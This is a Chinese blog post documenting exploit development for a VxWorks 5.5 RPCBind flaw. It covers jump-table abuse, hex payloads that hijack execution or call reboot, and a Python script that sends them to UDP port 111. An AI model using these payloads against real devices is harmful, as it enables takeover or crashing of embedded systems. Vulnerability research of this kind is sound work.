Vxworks5.5——RPCBind漏洞研究1


我们团队对于Vxworks5.5版本的研究已经进行了好久了,之前的文章发在了 吾爱破解论坛,作者是另外一位朋友。最近因为其他的一些原因也开始尝试着写一些博客,发布这篇文章的时候应该是接着文章二的,接下来就发布以下最新的研究成果吧

最新进展

漏洞研究进展

上周把该漏洞的原因分析的差不多了,接下来就是要想办法构造能造成任意漏洞溢出的payload了,可以看到,在漏洞溢出点:
在这里插入图片描述前有一个有符号数的比对,这说明该字段必须在0x0000000~0x00000002(小于2的正数)和0x80000000~0xffffffff(负数)之间。
另外这里发现了一点新东西:在x86体系下,对于MEM[NUMX]这种形式的乘法,是以忽略符号位的形式进行运算的,如:0x800000014=0x00000004(将最高位1去掉后实际上是0x00000004)。
对于这种形式的运算,可以造成跳转表里面的任意函数执行:
在这里插入图片描述
但是真正意义上的任意漏洞执行还要进一步发掘,另外还考虑了一种可能性就是在函数执行过程中会将payload的某些字段插入到跳转表中,从而设置特殊表号即可达成任意代码执行,但是遗憾的是对Vxworks的运行内存进行搜索,并没有在003af458附近发现相关特殊代码。只能另辟蹊径,从这些函数中找到任意代码执行,另外在执行这些函数之前push了一些参数:
在这里插入图片描述
其中ebx结构如下:
在这里插入图片描述
而ecx为payload的缓冲区:
在这里插入图片描述
为了实现在跳转表函数中实现任意代码执行,我对每个函数进行了分析,后发现在003Af484的SVCTPC_getargs这个函数指针的代码可以实现限定条件下的任意代码执行,其汇编代码如下:

在这里插入图片描述
可以看到,在精心构造的payload下,edx为传入的第二个参数,即为收包函数的payload,对于该函数,当EIP运行到call edx时,EIP跳转到payload处,执行payload处的代码:
在这里插入图片描述
但是该方法的缺陷在于,由于以下payload字段的限制,只能在前8个字节做手脚,这对构造payload的人员的x86指令集的机械码掌握水平提出了较高要求

payload的构造

jmp的汇编到机械码的基础知识

接下来就说明以下jmp的汇编到机械码的转化(近跳):
① jmp的机械码为0xe9
② jmp汇编转化为机械码过程为:
汇编:jmp 目标地址
机械码转化过程:e9 (目标地址-pc)->e9 (目标地址-(当前jmp指令地址+5))
(当前jmp指令地址+5)的原因是因为在jmp在近跳转时长度固定为5,需要注意到机械码中地址表示的大小端问题

还有就是远跳的转化,其不同点在于:
① jmp的机械码为0xea
② 后跟地址为绝对地址,不涉及相对地址的计算

第一阶段payload

首先为了方便起见将payload 的字段表重新发表并根据以上研究结果修改一下:

字节序号 1 2 3 4 5 6 7 8
含义 ShellCode 必须为0 必须为2 X X X 跳转表序号(有符号数小于2) 小于190(无符号数)

根据以上payload的字段表,可以构造出一个思路,因为只能对前8个byte做手脚,所以jmp到第4字节然后再利用多余的12byte进行限制更少的构造。但是在构造payload时要注意Vxworks接收数据包时会进行大小端的转化。
对于以上分析,可以构造一个payload,实现代码执行:
000007e900000000000000021111111122222222333333338000000B00000002
其中80000000B为第B个表项
如下是执行111111112222222233333333的代码:
在这里插入图片描述

第二阶段payload

做到了这一步,就想调用系统库资源,选取reboot函数进行测试,构造如下payload:
000007e900000000000000023841e0ea00000000333333338000000B00000002
在这里插入图片描述
但是这里出现了一个比较奇怪的问题:
在这里插入图片描述
这里出现了一个叫一般保护错误的玩意…
暂时不知道时什么玩意,根据内存来看,有可能是内核和用户态的冲突?

测试脚本

为了方便测试,下面附上简单的测试代码:

import socket
def poc(host,Payload, rpcPort=111,PktNum=10000):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for i in range(1,PktNum):
        sock.sendto(bytes.fromhex(Payload), (host, rpcPort))
def poc_tcp_close():
    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(('192.168.102.88',21))
    sock.close()

if __name__ == '__main__':
    PAYLOAD_HEX = 'cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111'
    UDP_PAYLOAD = '72fe1d130000000000000002000186a00001977c0000000000000000000000000000000000000000'
    #test='72fe1d130000000000000002000cc6ff7e200000000000000011121314'
    #test='000102030405060708090a0b0c0d0e101112131415161718191a1b1c'
    test='cc6ff7e20405060708090a0b0c0d0e101112131415161718191a1b1c'
    import sys
    a='123'
    while a!='ok':
        a=input('请输入选项\n')
        if(a=='payload'):
            poc('192.168.102.88',PAYLOAD_HEX,PktNum=2)
        elif(a=='test'):
            poc('192.168.102.88',test,PktNum=2)
        elif(a=='else'):
            b=input('请输入payload\n')
            poc('192.168.102.88',b,PktNum=2)
        print("已发送\n")
    #poc2('192.168.102.1')


猜你喜欢

转载自blog.csdn.net/weixin_42559271/article/details/106930860
5.5
今日推荐